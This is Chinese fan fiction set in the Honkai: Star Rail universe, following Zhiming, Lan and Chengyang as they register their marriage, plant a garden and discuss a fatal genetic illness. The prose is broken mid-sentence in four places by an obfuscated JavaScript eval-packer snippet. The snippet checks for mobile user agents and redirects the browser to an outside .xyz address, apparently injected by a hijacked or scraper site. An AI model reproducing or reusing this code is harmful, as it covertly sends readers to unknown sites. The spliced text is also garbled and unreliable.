她忍不住胡吃海塞一通权当解压,最后还是忍不住半是惊叹半是抱怨:“我妈之前到底过的什么日子……” 云缨一边处理玉兆上的公文一边吸了一口果汁,随口便道:“质明大人忙起来偶尔也会不眠不休,她同我们说她毕竟对睡眠不是刚需。”她说完这句,抬头以眼神安抚了一下承阳,道:“您可不能这样。” “哎呀,我倒是想,但根本做不到嘛。”承阳望洋兴叹。 等到承阳下班回了家,眼见着葳蕤行道大变样,进了家门,发现两个家长正在商量洞天入口处要怎么布置。见她来了,质明便把她也拉过去,展开一张图纸,问她要不要自己也养点什么花鸟虫鱼。 承阳只怕自己嘴一张就吐出半个魂魄来,先是咕嘟咕嘟喝下半罐茶水,定了定神,才道:“有没有那种不用怎么管就能活的,最好不用浇水不用施肥,放在那里就行?”对于她这种肉眼可见前途无亮的社畜牛马而言,这种东西才是最合适的。 “你这么说,那大概只有仙人掌和多肉适合你了。”质明伸手轻轻扯了扯她的脸颊。 承阳用那种看见了什么很厉害东西的语气道:“居然真的有啊……” 质明拍了拍她的肩膀:“那别的呢,我安置了好几个园林花圃,你有什么喜欢的花,改天带你去扶疏天看看,也挑几样?这些就不用你操心怎么养了,你只管选喜欢的。” 一边说着,她一边在图纸上点出了具体位置。 黑发金眼的姑娘直接趴在了桌上,侧着脑袋斜着眼睛看图纸,浑身犯懒得像是要从桌子上滑下去,像极了一只累极了的猫咪。于是质明又去摸她的发顶,她也习惯性地蹭手,这就更像猫了。 承阳动弹了两下,拿起那张图纸往脑袋上一盖。岚给她又倒了一杯茶,她撑着坐起来一饮而尽,那一瞬间像是获得了什么使命般的指引,又或者只是怒从心头起,恶向胆边生:“这么清闲的话,你们不如去把婚结了。” 岚:? 质明:。 他们二人面面相觑。 话一旦开了头,接下去的就能顺畅无比地往下说,眼看着承阳就眨巴着她那双和岚相似的金眼睛,面不改色:“说真的,师父,妈,你们什么时候去地衡司登记合籍?我很急的。” 质明看这孩子的目光有些奇异,她问:“……你为何这么着急?” 该着急的那位还在旁边杵着没说话呢,怎么最不该着急的反而先闹腾起来了,真是费解。 现在的承阳颇有些说话不顾脑子,多半是累傻了,只听她嘴皮一秃噜,就是一句:“想给你们找点事做。” 温柔抚摸发顶的手在下一秒变成了一个爱的脑瓜崩。 “嗷!” 质明慈爱地看着女儿:“你如果不想我和你师父都给你找点事做的话,下次说话可以更俏皮一点。” 承阳揉了揉额头,终于正色了一点,她幽幽叹气:“不过我还是建议你和师父选个黄道吉日去合籍。合籍还是其次,主要是顺便解决一下户口问题。地衡司建立之后,重整了户籍黄簿年鉴,因为各种原因……严格意义上说,你们都是黑户。” 说着,承阳露出了一个想不到吧,我也没想到的疲惫笑容:“地衡司那边也挺难办的。” 她总算说了一句公道话。 总而言之,这就是某个工作日的上午九点整,出门去丹鼎司上值的青阳医士,会看到质明和岚穿戴整齐、神情严肃地出现在华清天地衡司公廨门口的原因。 青阳在原地站了一会儿,思考了两秒是当没看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149475|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见转头继续赶往丹鼎司,还是上前问问这两位为什么这么如临大敌难道是天外又有强敌入侵——但是不对劲,要真有外敌也不该来什么鸡毛蒜皮的事情都要管一管的地衡司。 他还没想明白,就看到地衡司公廨开了门,大名鼎鼎的岚将军就这么同手同脚地走了进去,前任顶头上司质明紧随其后,一脸的忍俊不禁。 他突然福至心灵,摸出玉兆翻了一下黄历,今天的日期下面赫然三个红彤彤的字:宜嫁娶。 是好事啊。他想。 丹鼎司的同僚也好,军中曾经并肩作战过的袍泽也好,有不少都选择在最近开启一段新的人生。去除了陈腐的人和事,万象更新的时候,正正好迈入人生的下一个阶段。 只是没想到长桑君与岚将军互相扶持二十余年,竟然真的今日才去合籍,真是出乎意料。 毕竟青阳还在贵胄那里当卧底的时候,也常常听那些人咒骂狗男女什么的…… 可能也就他们自己没什么自觉吧。 这么想着,一向沉静到有些沉郁的青阳,今天难得乐呵呵地去到了丹鼎司。 要合籍,得先办户籍。 确如承阳所说,质明和岚都是黑户:前者是纯粹的外星人,后者身体和户籍都在曜青。 至于说之前的二十年里,他们究竟是怎么在没有户籍的情况下把持军政大权那么久,只能说地衡司的成立时间太晚,而这两位本身的战绩太过骇人听闻。 质明入主中枢,是因为她把那群陷入魔阴形如鬼魅的贵胄杀得人头滚滚,一开始没人敢正面同她对抗,就怕这个外面来的疯女人一个不顺眼也把他们手起刀落;岚接管军务,则是因为他自下而上把所有对他不服的人都揍得五体投地、满地找牙。 纯粹的强大,纯粹的力量,纯粹的数值。 质明的户籍还算好办,就跟仙舟人成年之后办的第二代户籍一样,但岚的就有些棘手。 如果圆峤现在能够和外界连通,或者说至少能和其他仙舟的数据库共通,那么只要把他的户籍调过来就行了,但问题在于圆峤目前仍然与世隔绝,只能重新办一个户口。 不过倘若有一天圆峤重新通网,那么岚在仙舟的记录里就会有两个户籍。 “似乎也不算问题,倘若真的有那么一天,提交说明就可以了吧。”质明道。 地衡司工作人员一听也是,只是个人特殊情况造成的档案冲突,到时候再改就行。 于是发了一份登记表,两人利索地填完,工作人员核对无误,盖上公章,就算是合籍成功。 “恭喜二位喜结连理!” 质明礼貌地道了一声谢,转头去看岚,却见这人平日里明亮锐利的眼眸此时却显得木木愣愣,显然是脑子又反应不过来了。难不成仙舟人在这种事情上都会这么、呃,呆愣? 她于是拽了拽岚的臂甲:“回神了。” 没收回去的手又被握住,下一瞬便听见一声叹息。 “……终究是困住你了。” 质明歪了歪头,游刃有余地露出一个笑来:“谁捆住了谁,不好说吧?” 26.假设 到底不忍爱徒为案牍所困,岚还是没有像质明一样当彻底的甩手掌柜,他选择一边手把手教承阳带新兵,一边将自己几十年所学倾囊相授。 在武艺上,承阳早已无可挑剔,政务上,她也是与质明一脉相承的灵敏果决,实战方面,她入伍数载,也曾亲临战场,也曾临阵指挥,对于一个合格的将领而言,她如今缺乏的只有阅历。 这恰恰是岚唯一没办法帮她的。 岚的经验属于他自己,就算能够拆开来为承阳讲解,也不会像黉学里的算术课一样一通百通。一件事情他如何处理,取决于当时的情况,即使是同样的事情重复发生,第二次岚的应对方法也不会和第一次完全相同,更何况承阳。 相较于岚的隐隐担忧,质明的心态倒是相当不错。 饭是一口一口吃的,人是一点一点长大的,如今的圆峤不像之前那样虎狼环伺,是个试错成本相对较低的环境。就算哪里行差踏错,也不会有恼人的苍蝇叫嚣着上书弹劾,既然这样,让承阳自己适应节奏也很好。 最艰难的时候已经过去,没道理在更自由的土地上开不出漂亮的花。 说这话的时候,质明在窗下翻着丹鼎司积年的泛黄卷宗,而岚正对着扶疏天送来的花木犯难。 那日他与质明去往扶疏天选购了想要的花木种类,后来质明又单独陪着承阳去了一次,林林总总订购了不少。今日扶疏天送货上门,岚便自行前去接收,然后对着园圃的规划和附赠的种植手册开始研究。 都说爱人如养花,但我们的岚将军无论在哪一方面都空长一把年纪,十足十的愣头青。 但岚好就好在他在自己的不了解的领域没什么无谓的坚持,能问就问,能学就学,绝不不懂装懂。 于是在对着种植手册研究了半天无果之后,他还是拎着附赠的铁锹锄头铲子叮铃哐啷地敲了敲质明的窗框。 似乎是岚披甲携剑的形象太过深入人心,质明第一时间被他这朴实的造型惊了一下,放下卷宗,接着就上下打量他片刻,忍俊不禁道:“你这模样真是少见。” “农业洞天中人大多如此打扮。”岚实事求是道。 “那有没有人告诉你,农业洞天为了适应大规模种植,一般都适配了全自动化设备?” 岚有点印象,但还真没这么清楚,扶疏天的植物博览园他都没去过几次,更别说农业洞天。 质明说着说着来了兴致,干脆起身绕开窗下小几,换了一身轻便的装束,从一旁的门口处走出。 只见她从岚那里分了一根花锄握在手里,掂了几下,才道:“那些自动化设备都设置了程序,也关联了太穹浑仪的分支系统,其中最复杂的就是扶疏天,因为要在一个洞天内模拟成千上万种环境。” 她比划了一下,语气是完全没被程序和代码污染过的同情:“摇光天编写代码就前前后后花了半年。” 岚静静地听着,最后琢磨着问了一句:“所以葳蕤行道……?” 她翻了翻几种春花和果树的根系,道:“不必四季常青,也不用收获不断,自然不需要复杂的程序。加上我在这里,所以种下去就行,只要看好距离,想怎么种都无所谓,更不必考虑成活问题。” 话一出口,质明便微微愣住,和岚对视一眼,随即两人双双陷入了沉思。 事实上,如果将那堆花木就那么放着不管,过几天它们就能在原地扎根生长。 只是如果不人为干预植株之间的间距,那就会产生一个微型的丰饶民培养皿。 当然,并不是说这些普通的植物会成为丰饶民。而是如果间距不够大,单位面积内的养分无法同时供给所有植株,就会产生争抢,随之而来的就是必然有植株落败,难以健康长成,在营养的争夺中一直处于下风,恶性循环,最终死灭。 但在纯粹的自然环境中,某些品种几乎不可能如此密集地存在,它们长在一起本就是人为干预的结果。 就好比丰饶药师的赐福。也许没有祂的干预,造翼者早已沦亡,青丘星也已寂灭,仙舟也会消逝在茫茫星海,祂的干预让这些种族继续生存了下去,并且开花结果繁衍生息。 如果没有二次干预,也就是人为拉开距离这一步,那些生长密集的植株是什么下场,以上提过的丰饶民就会是什么下场。 某种程度上而言,这非常物竞天择、适者生存。 但就好比社达主义很早就被认为是错的一样,这种野蛮原始的规则与认知也同样忽视了智慧生命的社会发展和文明进步,忽视了道德,情感,理智和对公平正义朴素的追求。 质明看着捆在一起的花苗和树木,忽然长长地叹了一口气。 她上前去解开绳索,细细地分开植株与根系,将之一株一株递给已经动手挖开土层的岚。 “来到圆峤之后,我有很长一段时间都弄不明白,药师的赐福为什么会导致如此恶果。但凡生灵,总是期望美好永驻,幸福长久,因而追求长生,这很好理解。我也明白人欲无穷,得寸进尺,所以圆峤、乃至于绝大多数丰饶民,我都理解他们为什么会这样发展。” “我不明白的只是这件事情本身。恩主无私的赠予,为什么总会变成流毒的恶果。” 质明捧起湿润肥沃的土壤,动作轻缓地撒下,语气却显出难得一见的迷茫。 岚杵着锄头,停顿了片刻,平静道:“因为祂只赐福,不筛选,不干预……也不在乎。” “哈……”质明喟叹着,神情难辨,也无法看出悲喜。 春风和煦,暖阳照临,日光下树影斑驳。 岚不期然想起她曾经说过的话,她说他对她缺乏探究欲。但其实并不是这样,他自始至终对她怀有好奇,从一开始的警惕到信任,一直到如今的亲近。 只是因为岚自己表达欲有限,所以也尊重他人不表达的自由。 但他如今突然想问一问了:“……你,质明,你对药师所求为何呢?” 她理解生命的规律,尊重死亡的存在,之于圆峤便如同天降猛人,这更让人好奇她最初的愿望是什么了。 “我对祂别无所求。” 质明轻声道:“我只是从休眠仓中醒来,等待我的死亡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159221|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,奔向或许到来的重逢。” 她低头轻轻拨弄了一下刚刚种下的一株绣球花,抹掉叶片上的些许土壤,又道:“祂擢升我时,我问为什么垂怜于我,祂说了些我听不懂的话,为我流泪。我又问,您想让我往何处去,祂便回答:开拓的阿基维利,之后就是祂离开,我沉睡。” 见岚沉默,她有些好笑地补充了一句:“也不一定,说不定我自己都不知道我所求为何呢。” 手指沾上了泥土,她便用指背理了理鬓边的碎发。 “祂的馈赠或许非我所愿,但我既然蒙受祂的恩惠,自然应当践行祂的道路,是以我将祂当成我的恩主。” 岚听完质明的这一席话,并没有做出评价或是顺着接下去,他只是在这片蓬勃的泥土芬芳与腥气中倾身,伸手将那些没能理清的碎发别在她耳后。 然后就被质明笑着抹了一手背的泥渍:“怎么不说话了?” 岚看着手背上的泥渍,有心想伸手抹回她的脸上,又觉得这种行为实在是过于幼稚,所以甩了甩手,只当没看见,继续老农似的挖土。他闻言,只道:“无他,意料之中。” 某种意义上,质明确实像个无欲无求的圣人。 “不过,‘开拓的阿基维利’既是祂为你指明的道路,你如今为何不在银轨,而在此地?” 质明几乎要被岚逗笑了:“你这个问题,就像在问当初圆峤仙舟为什么会突然出现在我视距之内一样。我不可能不管这些人,也就不得不在这里,不得不在你面前。” 岚于是点点头,知道了,人祸。 种完了绣球花,质明又去分开那些铃兰:“既然是坦白局,那来详细说说你吧,岚。我从来都只是从别人那里听说你的丰功伟绩,这次你自己来讲讲,你当年在罗浮做了什么好事?”她这话颇有些调侃意味。 岚却可疑地沉默了一下,他问:“……建木,可算作你的同族?” 丰饶的令使憋着笑:“别说同族了,连同事都算不上。我的同族只剩下邙山洞天那么点了。” 岚有些想笑,但他马上就反应过来质明在讲什么地狱笑话,微微扬起的嘴角瞬间就压了下去:“咳……” 接着他就用简练明了语言向质明阐述了他因为对长生之祸有所预见,因而强烈反对全民长生,为了表达自己的想法与反抗的意志,一边骂着贵胄一边向建木射出了一箭。 那一箭并没有多大的实际意义,膂力如岚,也只是在那丰饶神迹的树皮上划了一道痕迹,那支羽箭还没落到地上,建木树干的伤痕就已经恢复——如同他在这长生的汪洋中徒劳无功的逆流。 岚的叹息总是很多,他现在也在叹气。 质明起身,用指背轻轻碰了碰他的脸颊。 她含笑对岚低语道:“如果,我是说如果。如果有那么一天,我也变成了建木那样,无有自主意识的存在……希望那个时候,你不会吝惜你的箭矢、你的反抗。” 她不考虑那个时候岚是否存在,也不考虑自己会不会真的沦落到那一步,她只是以这种方式肯定眼前这个男人曾经的作为。 27.海德拉 铺陈的花海一一完成之后,便是引入水脉。 水脉与地形需要相辅相成,流经之处的景致也多有考量,分布与疏密都是一门学问。蜿蜒的生命源泉随着地势环绕洞天,分流与枝杈润泽大地,最后汇入主干,归于一片浩渺的烟海。 这片广袤到可以称之为海的湖泊,占据了葳蕤行道将近三分之一的面积,围绕着它构建了精巧的栈桥与亭台,更有船舶小小的港口。 质明从扶疏天请回来的好几只渊兽栖息其中,时而能听见这种庞大温和的生灵悠远的鸣叫,或是换气,或是跃出水面的动静。 水泽形成之后,种类不同的林地也逐渐落成。桃梨杏梅应有尽有,柳松竹林比比皆是,规模比设计图纸中的大了不少,从这个时候起,就看得出来质明女士在进行规划的时候已经完全沉浸在自己的艺术里了。 事情的转折发生在承阳某一天回家来的时候。她发现道路规划和早上离家的时候已经完全不一样,险些找不着回家的路,好不容易到了家,在院子里吃晚饭的时候又被不知哪里来的鸥鸟抢走了薯条,恼羞成怒追出去二里地,回头却发现自己甚至还没走出花田的范围。 鸥鸟在她头顶盘旋,扇动着翅膀飞远了,而她在葳蕤行道美丽的夕阳下无语凝噎。 她回来之后就吐槽:创造思维丰富是好事,但太大了就不方便生活了。 对此质明表示赞同,接着很乐观地建议: “这么好的景致,只我们三个欣赏未免太冷清,再修整一番,多加一些景观设施,干脆当做景观游览洞天对外开放吧。正好,也就不用把之前作为中枢机构时用了许多年的交通路线取消,能省下不少资源。” “但母亲你不是喜欢清净吗?”不然也不会还没过年就把中枢机构往外头赶。 承阳看着质明,状似不解。 后者沉吟片刻:“我并不是只喜欢清净,更多是不喜欢葳蕤行道变得和它的名字一点不搭。” 承阳心道也是,以前基本上班都往这里来,一整个洞天都染上了无可救药的班味。 “是同往常一般,将居所与洞天其他部分分隔开来?”岚问。 质明“嗯……”了一会儿,似乎不太赞同:“只是单纯分隔开来,我们布置的景致自己无法欣赏,那就没有意思了。” 承阳眨巴着眼睛,比划了一下:“规划出那种外人不能轻易进来,但掌握了门道就能快速通行的道路用来筛选?我记得军中有几套阵法,也有些相关的科技产品。”说着便翻出了玉兆。 这下便是一个两全其美的法子。 见已经商量出了结果,质明眯了眯眼睛,察觉了什么,她玩味道:“所以……你们就那么担心我以后待在家里不出去么?”她左看看又看看,颇有威慑力的目光看得师徒两个都噤了声。 质明轻笑着夸了一句:“配合打得不错。” 还是承阳一个人肩负了所有,这位如今已相当优秀的将领丝滑地做出了小女儿情态,拉着质明的手臂晃了晃:“唉呀,这不是除了上次去扶疏天订购,妈你就再也没出过门了嘛,我们也是担心。正好葳蕤行道的规划越来越大,我们也就是顺水推舟……” 师徒两个亮度不同,色泽不同的金眸都有点可怜巴巴地看着质明。 可怜巴巴的主要是承阳,岚只是听从了弟子的建议微微垂下了眼眸,露出了些许与寻常不同的神态。 不好说我们亲爱的质明女士吃不吃岚这一套,反正承阳的卖可怜不太成功,还是让质明上手掐着她的脸颊往两边扯了扯:“一天到晚就知道瞎操心。” “不是瞎操心。”岚终于还是出了声。 质明歪了歪头,好整以暇地道:“怎么说?” “你之前所说,某有些担心,”岚认认真真地注视着质明覆盖双目的金纱,“你虽然行走于丰饶的命途,但以某浅见,沉眠无相者的阴影……似乎离你并不远。”他句尾的语气放轻了,听着像是怕惊动了什么。 沉眠无相者即虚无星神IX,有说法是倘若人将自己的所拥有的一切都视作无意义的空,或者失去了对自身意义的认知,便有可能沾染虚无的阴影,从而成为自灭者。 但这只是一种说法,自灭者的成因就如同每一个命途行者踏上命途的原因一样玄妙,它出于人的际遇,人的情感,人的意志,在真正走上那条路之前,无人可以窥得前方的模样。 自灭者的终点却是可见的,是宇宙深处那一轮漆黑的大日,虚无的IX。 承阳揉着脸颊嘟囔了一句,像是抱怨又像是担忧:“我们上哪儿去给你找混沌医生啊。” 质明听了他们这话,“噗嗤”一笑,缓缓说道:“与其担心我偏向虚无,不如担心一下我会不会倒向均衡?我认为死亡是生命的一个站台,每一个旅人都会从这里经过,与过去重逢,与未来告别。它不应当是虚无的,而是切实存在、并且温暖的。” 她讲完了这句话,见师徒二人面色缓和下来,才谈起了关于洞天的事情。 “我这洞天扩建到这种地步,对外开放是必然。你们也不用太担心我,我要给自己找事做可太简单了。”她这么说着,指了指窗边小几上堆放的陈旧卷轴,“丹鼎司没有录入系统的旧年病历,我最近就是一直在看那些。” 说起这件事,质明的语调微微向下沉了沉,显得有些伤感:“如果找不到的话,说不得我就得自己去学医了。” 打开的窗正对着庭院中已发了绿芽的梅树和石桌,只见那梅树梢上停着一对毛茸茸的银喉山雀,正机灵地上下蹦跳着。质明话说了一半,见了那对灵敏的鸟儿,便从抽屉里摸出了些鸟食,招了招手,那两只山雀便飞了过来,站在她手指上啄食。 质明上下晃了晃手指,毛茸茸的雪团子便扑腾了几下翅膀。 岚叹了一口气:“从年前开始你便一直翻阅,如今也没找到吗?” 质明摇了摇头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166776|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 承阳问:“在找什么?” 质明手中的鸟食被吃光了,她便走到窗边,挥一挥手放飞了那一对山雀,兀自看着它们飞远。 末了,才道:“一种罕见的基因病,我不清楚它在银河中出现的频率,也不知道它是否在仙舟出现过,甚至无法确定在宇宙层面上,它是否如我所想,是一种病。 “在我的故土,我们称其为‘海德拉’,意为‘无解之毒’。患病的孩子往往在母腹中就不知原因地早产,先天不足,而后在成长过程中体质不断衰弱,直至药石罔顾,早早夭亡。 “你姐姐患的就是这种病,她没活过八岁。” 质明伸手,一张一张翻过那些陈旧泛黄的卷宗,被金纱遮盖的双目仔仔细细地阅读着上面的文字。 仙舟文字是表音文字的变体,虽然看着像她故土的古文,但实际上只是形似,它们早已不承担任何表达意义的作用。她初来乍到时看着亲切,仔细学习后才觉得陌生。 她翻完了最后一页,手掌轻轻地盖在上面:“这是最后一卷了,排除了许多相似案例,至少圆峤没有它的记载,可能丹鼎司最为发达的首舰罗浮会有希望,但现在谁也联系不到。 “所以我也不知道它有没有被治愈。如果治愈了当然好,没有的话,那就我去。” 她的神情认真,甚至透着些许执拗。 说来有些好笑,身为丰饶的命途行者,药师亲自擢升的令使,质明其实根本不会医术。 能够进行治愈,能够恢复他人伤势,能够制造种种奇观,靠的都是命途能力和力大砖飞的虚数能量。 但她如果真的去学医,应当是不会动用命途能力的。以她的位格,活化星球也只在一念之间,更何况治愈疾病,但如果一直这么做,这只能算是治愈,而不能算医疗。 或许她可以治愈她面前所有患病的人,但她的方法无法推而广之,那么在别的地方,照样会有人因为同一种疾病而陷入绝境。 ——严重一点说,丰饶命途反而某种程度上阻碍了她的学习。 岚听完她这一席话,几乎是瞬间便想起了种种旧事。他想起那一方小小的坟茔,空荡荡得只放了一缕头发的墓穴,还有承阳九岁之前质明几乎可以算得上应激的状态。 还有她的泪水,她的叹息,她的…… 在谈起关于那个夭折的孩子时,质明所有的游刃有余都消失了,只余下淡淡的疲惫。 只见她放下卷轴,伸手又摸了摸承阳的脸颊——她用手指接触人的动作很明显地透露出曾经目盲的事实,如今视力恢复正常许久也没能纠正——她欣慰地说着:“幸好你健康长大了。” 承阳一言不发地靠在母亲肩上,她早就长得高挑矫健,已经没办法整个缩进质明怀里,只好退而求其次。质明还是像往常一样摸着她的黑发,语调轻柔:“我不想再有孩子因为‘海德拉’而夭折了。” 即使那再也不会是她的孩子。 28.看花 花繁似锦,春日迟迟。 一柄剑,一柄精致华丽、犹如工艺品的长剑,直直向人门面刺来。剑势凛冽,却不带杀气,剑尖到了近前又倏忽慢下来,微微一挑,剑风带起岚鬓边碎发,轻盈地接住了一朵完整坠落的桃花。 深粉的花朵落在剑尖上,为那青白二色的剑身平添一抹艳色。 须臾之后,那剑又动起来,在岚的注视下向前,剑脊贴上了他的下颌。 质明手腕微抬,柔嫩的桃花下滑,蹭到了岚的颊边,而他本人则顺着质明的力道,缓缓抬头。 两人一坐一站,质明居高临下,含笑同岚对视。她收剑的速度快,岚下颌处那块皮肤的沁凉还未褪去,质明便已经反手执剑,剑在身后了。 桃花轻轻落在岚的腿上,被他拈起,放在了小桌的书本旁边。 岚并未言语,只是在质明退后两步为他留出空间时,利落起身,信手折了一根枯枝握在手中,以之为剑,下一瞬便折身向质明攻去。 近些日子岚兑现了当年承阳拜师时质明的玩笑话,确确实实来指导她习武了。军中剑法,不重招式,不求美观,只看效率,岚会的也只有这一种,质明要学,他便教。 两人交手的速度极快,但质明毕竟是初学者,虽说有些天赋,但当她有意降低自己的体能到正常人范畴后,过不了多久便显出了颓势,被一树枝抽到了手腕上,险些拿不稳长剑。 所幸她还记得“不可令武备脱手”的铁律,趁此机会反手一击,将那枯枝分做了两半。 剑风所过之处,花落如雨,纷纷扬扬。 幸而双方都是纯粹的冷兵器,仅仅是切磋喂招,否则不会只是花落,而是一整片桃林都被连根拔起,让此地的景观布置都付诸东流了。 质明的长剑外形精美,犹如用花蔓与枝叶虬结,此时化作光点消失在她手中,待到下一次唤出时,大概也会如同从她手心生长而成。 收了剑,质明便揉了揉手腕,隐隐的酸痛很快消失无踪。 她的手上有着薄薄的茧,分布在五指的指尖与手指侧面,这是尚且为人时长期以触觉感知世界留下的痕迹,如今习剑,虎口和掌心处的皮肤也微微增厚。 以她的身体强度和恢复速度,本不该有这些痕迹,它们存在只是质明的有意为之。 岚的手掌上也有使用各种武备留下的厚茧,最明显的是左手持弓处和右手的手指关节,这是使用重弓的印记。短生种的恢复速度决定了这种茧的形成。 而身为天人亚种,承阳的手上是没有茧的。它的形成与否并不取决于承阳使用的武器会不会留下痕迹,也不会受到她个人意志的影响。天人的变化无比迟钝,就算磨破了皮,也只会在愈合之后恢复如初,而不会让皮肤变厚来抵御损伤。 在场两人都还记得承阳刚刚学剑时是个什么光景。 质明为女儿准备的小木剑质地较软,打磨光滑,但日日挥剑练剑,再怎么柔软的质地都会在反复的摩擦之中弄伤皮肤。小孩儿爱娇怕痛,便也常常哭诉,但没过多久就弄明白,这种痛楚是天人亚种不可避免的,便也只能咬着牙去习惯。 不是习惯痛楚,而是习惯伤口。 对痛觉麻木,乃至于失去痛觉,对于从军之人而言比受伤的情况更严重。痛觉是身体向大脑发出的警报,感觉不到警报不等于危险消失,只会让人无法准确判断自身情况。 思绪翻飞之间,春红尽落,在这片小小的林间空地上铺了薄薄一层花色。 放在桌上的茶杯里也落了些花瓣,质明看了一眼,也没有把它拣出来,而是就着茶水喝了。今天的茶是岚动手泡的,用了质明准备的新茶,只要不是灵机一动往里面加奇怪的东西,味道怎么都不会差。 岚不是那种积极实践创意的人,但承阳是。她小时候就爱突发奇想往零食茶水里加料,要不就是春茶里放糖,果茶里加辣,要不就是轻柔奶里放黄连,炸串上撒食用碱,叫人防不胜防。 中招最多的是质明,其次是她的好伙伴流花……至于岚,他中招次数也不少,但胜在是纯能量体不用怎么吃饭,所以被祸害次数忝列第三。 她大了些便不再这么热衷于灵机一动,但偶尔为之的小惊喜却仍然保留。 质明很好心情地也往岚的茶杯里倒了半杯茶水,面上却不显,继续翻着带来的医书。确定了丹鼎司现有的数据中没有她想要的,质明便很有行动力地直接去找了青阳,咨询了行医资格证相关的事情,已经与习剑同步开始钻研。 岚延续了之前布设洞天时候的习惯,似乎对花木栽培有了兴趣,今日出门也带了本书。 切磋之后不久,岚便气息平复,安安静静地重新坐下翻书。他注意到手边的茶杯不是空的,便知道是质明为他倒的,不疑有他,端起茶杯便喝了下去。 “……!” 他艰难地咽了下去,诧异地看向对面的人。 质明忍着笑:“又着了承阳的道吧,谁让你泡茶之前闻都不闻一下的。”说着说着便有些恼了:“她估计在窖制的时候就往里放了料,现在好了,今年的新茶算是白搭了。” 嘴里又酸又苦的味道似乎源于某种与茶叶相近的药材,岚分辨不出来,只能把一向表情内敛的一张脸皱成一团,让质明看足了笑话。 质明一笑,之前落在她发髻上、头发里的花瓣便往下掉。有的落到了地上,有的和长长的发丝更加难舍难分。她今日外出,估摸着要四处走走,练练剑,满头白发便没有像往日那样简单束起,而是仔细地编成了辫子,垂在身后。 岚的视线便落在她的长发上,落在长发里夹杂的花瓣上,落在金纱之后隐隐露出的弯弯眉毛上。 酸苦的味道终于淡去,岚将茶壶推远了些,只是道:“某之后寻她说理。” “算了吧,我看也就是今年她还有这个空,以后差不多该是我俩给她零食里加料了。”也不知道质明有没有注意到岚的目光,她只是扶了扶鬓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170813|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发里的长簪,含笑道,“把她晴柔奶茶里的芋圆换成枸杞怎么样,正好补补身子?” 岚赞同道:“炒米饭的鸡丁改成萝菔。”萝菔即萝卜。 阳光透过花树的缝隙洒落,质明用书本挡了挡,道:“嗯嗯,不错,还有姜丝炒土丝豆,不放土豆。” 岚可疑地沉默了一下。 质明可没打算放过他:“这你也上过当?” 岚移开了目光:“黉学先生教的新菜,回家让父母品尝,还需记录感想,但你那日在官署未归。玉兆上确有其事,但……”但谁想得到这倒霉孩子端上来的盘子里全是姜丝。 质明回忆了一下:“我说怎么之后突然把你叫去了,感情她给黉学先生的也是姜丝?” 岚没回答,只是叹了一口气。 不说话等于默认,那就是这么回事了。 质明一时间笑也不是不笑也不是。 二人一时阅读一时谈笑,因着桃林偏僻,也无甚游人来,便在此磋磨了整整一日光阴。日暮时分回到家中,承阳也已经拎着食盒摆开了晚饭,平日里倒不会有人多做停顿,但今天质明和岚都有些心有余悸,看着晚饭的目光便带了点迟疑。 “你们怎么不吃?”已经准备下筷子了,承阳却突然发觉了不对劲。 质明倒是开门见山:“没什么花活吧?” 承阳于是叹气:“没呢。没空。” 于是岚从她旁边经过,按了按她的发顶以示安慰。 白日里落在质明头发里的花瓣,到了傍晚她坐在镜子前才被发现。 她对镜解开发髻,挨个挑出能看见的,岚便在她身后,轻轻抬起发尾,拉开了束发的发带。质明的辫子编得松,稍微理一理就能解开,只是到底维持了一整天,原本长而直的、月光似的白发,如今变得有些蜷曲蓬松,看着就更多了。 质明从妆奁里摸出两把木梳,自己一把,递给了岚一把,便开始了每天最麻烦的事情:梳头发。质明的白发多而长,从发顶梳到发尾,长得要么弯腰,要么走两步,如今里面掺了东西,更是精细活。 木梳从头顶到发尾,一室静默之中,唯有两个人的呼吸声,以及木齿穿过发丝的轻微声响。岚满手的茧最不方便的就是这种时候,他总担心挂着哪里扯得人生疼,所幸他不缺的就是耐心,慢慢来,一点一点疏通,便不会有什么问题。 为人梳理鬓发是相当私密的事情,但岚已经习惯这么做了。 